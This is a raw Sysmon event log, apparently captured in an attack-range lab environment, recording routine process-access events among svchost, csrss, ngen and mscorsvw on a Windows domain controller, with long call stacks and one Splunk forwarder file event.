14:45:24.848{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-850A-00000000F001}2120C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.838{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-850A-00000000F001}2120C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.838{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-850A-00000000F001}2120C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.798{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-840A-00000000F001}6404C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.788{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-840A-00000000F001}6404C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.788{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-840A-00000000F001}6404C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.748{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-830A-00000000F001}4140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.737{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-830A-00000000F001}4140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.737{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-830A-00000000F001}4140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.699{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-820A-00000000F001}6656C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.657{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-820A-00000000F001}6656C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.657{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-820A-00000000F001}6656C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.637{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D7E238C4BA79C5A641EAA451A7E9CC8E,SHA256=E650A9924642960ED044CA795161A396AFEECE41EC1BB71C0AFAF6D5A5D54733,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.617{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-810A-00000000F001}5272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.597{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-810A-00000000F001}5272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.597{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-810A-00000000F001}5272C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.557{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-800A-00000000F001}5572C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.547{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-800A-00000000F001}5572C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.547{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-800A-00000000F001}5572C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.507{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-7F0A-00000000F001}6544C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.497{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-7F0A-00000000F001}6544C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.487{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-7F0A-00000000F001}6544C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.417{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F84-613B-7E0A-00000000F001}6528C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.387{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F84-613B-7E0A-00000000F001}6528C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:24.387{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F84-613B-7E0A-00000000F001}6528C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscor